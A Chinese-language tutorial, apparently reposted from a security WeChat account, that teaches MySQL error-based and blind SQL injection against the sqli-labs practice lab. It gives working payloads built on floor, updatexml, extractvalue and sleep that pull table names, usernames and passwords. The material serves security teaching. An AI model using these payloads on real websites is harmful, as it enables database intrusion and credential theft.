sql注入学习总结

所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

测试数据库

我们本文就以如下数据库作为测试数据库,完成我们的注入分析。

相关函数

在学习盲注之前,首先要了解一下在sql盲注中所涉及到的函数以及使用方法。

mid()---从文本字段中提取字符

SELECT MID(column_name,start[,length]) FROM table_name;

column_name 必需。要提取字符的字段。

start 必需。规定开始位置(起始值是 1)。

length 可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。

limit()---返回前几条或者中间某几行数据

select * from table limit m,n;

其m指记录始index0始表示第条记录 n指第m+1条始取n条

concat、concat_ws、group_concat

MySQL的concat函数在连接字符串的时候,只要其中一个是NULL,那么将返回NULL

和concat不同的是, concat_ws函数在执行的时候,不会因为NULL值而返回NULL

group_concat([DISTINCT] 要连接的字段 [Order BY ASC/DESC 排序字段] [Separator '分隔符'])

Count()---聚集函数,统计元祖的个数

rand()---用于产生一个0~1的随机数

floor()---向下取整

group by---依据我们想要的规则对结果进行分组

length()---返回字符串的长度

Substr()---截取字符串 三个参数 (所要截取字符串,截取的位置,截取的长度)

Ascii()---返回字符串的ascii码

报错注入

基于floor,UpdateXml(有长度限制,最长32位),ExtractValue(有长度限制,最长32位)进行报错注入。

floor报错

  • 获取数据库
mysql> select count(*),(concat(0x3a,database(),0x3a,floor(rand()*2))) name from information_schema.tables group by name; 
  • 获取表名
mysql> select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x3a,floor(rand()*2)) name from information_schema.tables group by name;
  • 获取字段名
mysql> select count(*),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x3a,floor(rand()*2)) name from information_schema.tables group by name;
  • 获取内容
mysql> select count(*),concat(0x3a,0x3a,(select username from users limit 0,1),0x3a,floor(rand()*2)) name from information_schema.tables group by name;

UpdateXml报错注入

  • 获取表名
mysql> select updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 3,1)),0);
ERROR 1105 (HY000): XPATH syntax error: '~users'
  • 获取字段
mysql> select updatexml(0,concat(0x7e,(SELECT concat(column_name) FROM information_schema.columns WHERE table_name='users' limit 4,1)),0);
ERROR 1105 (HY000): XPATH syntax error: '~password'mysql> select updatexml(0,concat(0x7e,(SELECT concat(column_name) FROM information_schema.columns WHERE table_name='users' limit 3,1)),0);
ERROR 1105 (HY000): XPATH syntax error: '~user'
  • 获取内容
mysql> select updatexml(0,concat(0x7e,(SELECT concat(password) FROM users limit 0,1)),0);ERROR 1105 (HY000): XPATH syntax error: '~Dumb'mysql> select updatexml(0,concat(0x7e,(SELECT concat(password) FROM users limit 1,1)),0);

ERROR 1105 (HY000): XPATH syntax error: '~I-kill-you'

extractvalue报错

  • 获取表名
mysql> select extractvalue(1, concat(0x5c,(select table_name from information_schema.tables where table_schema=database() limit 3,1)));

ERROR 1105 (HY000): XPATH syntax error: '\users'
  • 获取字段
mysql> select extractvalue(1, concat(0x5c,(select password from users limit 1,1)));ERROR 1105 (HY000): XPATH syntax error: '\I-kill-you'mysql> select extractvalue(1, concat(0x5c,(select password from users limit 0,1)));

ERROR 1105 (HY000): XPATH syntax error: '\Dumb'

extractvalue报错注入

mysql> select extractvalue(1, concat(0x5c,(select table_name from information_schema.tables where table_schema=database() limit 3,1)));

ERROR 1105 (HY000): XPATH syntax error: '\users'
  • 获取字段
mysql> select extractvalue(1, concat(0x5c,(select password from users limit 1,1)));ERROR 1105 (HY000): XPATH syntax error: '\I-kill-you'mysql> select extractvalue(1, concat(0x5c,(select password from users limit 0,1)));

ERROR 1105 (HY000): XPATH syntax error: '\Dumb'

基于布尔盲注

通过构造sql语句,通过判断语句是否执行成功来对数据进行猜解。

  • 查看表名
mysql> select table_name from information_schema.tables where table_schema=database() limit 0,1;
  • 获取表名第一个字符
mysql> select substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1) m;
  • 获取表名第一个字符的ASCII
mysql> select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) m;

获取字段名与字段内容原理一样。

以Sqli-labs Less8为例,无论输入什么就只有正确和错误,于是可以判断基于布尔的盲注。

  • 先判断当前数据库的长度
http://127.0.0.1/sqli-labs/Less-8/?id=1' and length(database())>8 --+

发现当值为8的时候,页面就没有显示。那么说明database()的长度是8

  • 获取数据库名

可以使用如下脚本猜解数据库名字:

  • 获取表长度
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>0 %23

发现当值为6的时候,页面就没有显示。那么说明表的长度是6

  • 获取表名

和上面类似,只需要把payload修改为下面即可:

http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))>{1} %23
  • 获取列名
payload =  "http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name=0x7573657273 limit 4,1),{0},1))>{1} %23"
  • 获取内容
payload =  "http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select username from users limit 0,1),{0},1))>{1} %23"

payload =  "http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr((select password from users limit 0,1),{0},1))>{1} %23"

基于时间盲注

基于的原理是,当对数据库进行查询操作,如果查询的条件不存在,语句执行的时间便是0.但往往语句执行的速度非常快,线程信息一闪而过,得到的执行时间基本为0。但是如果查询语句的条件不存在,执行的时间便是0,利用该函数这样一个特殊的性质,可以利用时间延迟来判断我们查询的是否存在。这便是SQL基于时间延迟的盲注的工作原理

首先理解一下下面的语句:

if(database()=’security’,1,2)

判断数据库名是否为security,正确返回1,错误返回2。基于时间的注入和基于布尔差不多,引入了if语句进行判断。

mysql> select if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>117,sleep(5),NULL) m;



1 row in set (0.00 sec)
mysql> select if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),NULL) m;



1 row in set (5.00 sec)

以Sqli-labs Less8为例,无论我们怎么输入,输出结果都是You are in ,所以判断为基于时间的盲注。

  • 数据库长度判断
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(length(database())>9,0,sleep(5)) --+
  • 使用二分法获得数据库名

剩余步骤和基于布尔的差不多,只是加了一个if判断语句进行判断。

  • 获取表名:
payload = "http://127.0.0.1/sqli-labs/Less-8/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))>{1},0,sleep(5)) %23"
  • 获取列名:
payload = "http://127.0.0.1/sqli-labs/Less-8/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name=0x7573657273 limit 4,1),{0},1))>{1},0,sleep(5)) %23"
  • 获取内容:
payload =  "http://127.0.0.1/sqli-labs/Less-8/?id=1' and if(ascii(substr((select password from users limit 0,1),{0},1))>{1},0,sleep(5)) %23"

总结

本文总结了关于sql注入中的报错注入和盲注的一些原理以及测试方法。感谢Hello_C的总结分享。

原文发布于微信公众号 - 信安之路(xazlsec)

原文发表时间:2017-07-19

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏一个会写诗的程序员的博客

6.2 Spring Boot集成jpa6.2 Spring Boot集成jpa小结

Java持久化API(JPA,Java Persistence API)是一个将对象映射为关系数据库的标准技术。JPA通过注解或XML描述ORM(Object ...

894
来自专栏人工智能LeadAI

深度学习之主流数据库 | MySQL基础

这篇文章主要是讲一下常见的MySQL的安装,和基本操作。适合完全没有MySQL知识但是又急需一些MySQL知识的童靴作为快速入门使用。 背景与安装 背景不用多说...

5116
来自专栏影子

oracle行转列、列转行、连续日期数字实现方式及mybatis下实现方式

-- 行转列 SELECT * from ( SELECT tt1.SAP_ID,TT1.dt,TT1.EFF from ( SELECT t1.SAP...

3902
来自专栏蓝天

MySQL的NO_BACKSLASH_ESCAPES

官方说明: https://dev.mysql.com/doc/refman/5.7/en/mysql-real-escape-string.html 相...

1284
来自专栏运维技术迷

连仕彤博客[Python笔记] Python 一次性替换多个字符

在一个字符串中,一次性替换多个字符串,可以使用字符串的replace函数来处理(目前我想到的是这个方法,大神请指教!) 要求 把INSERT语句中的riqi、b...

3575
来自专栏西安-晁州

mysql随笔

Mysql学习笔记 1、操作数据库 use dataBaseName  //使用数据库 show databases   //显示所有数据库 show tabl...

2010
来自专栏企鹅号快讯

浅谈数据库Join的实现原理

Join的实现算法有三种,分别是Nested Loops Join, Merge Join, Hash Join。 DB2、SQL Server和Oracle都...

36310
来自专栏抠抠空间

Django之ORM其他骚操作

Django ORM执行原生SQL # extra # 在QuerySet的基础上继续执行子语句 # extra(self, select=None, wher...

2925
来自专栏Java开发

Spring集成MyBatis 通用Mapper以及 pagehelper分页插件

这里送上楼主配置的Spring DataSource 和 TransactionManager 和MyBatis配置

2832
来自专栏Java帮帮-微信公众号-技术文章全总结

Oracle应用实战八(完结)——存储过程、函数+对象曹组

游标 在写java程序中有结果集的概念,那么在pl/sql中也会用到多条记录,这时候我们就要用到游标,游标可以存储查询返回的多条数据。 游标可以理解为是PL/S...

3526

扫码关注云+社区

领取腾讯云代金券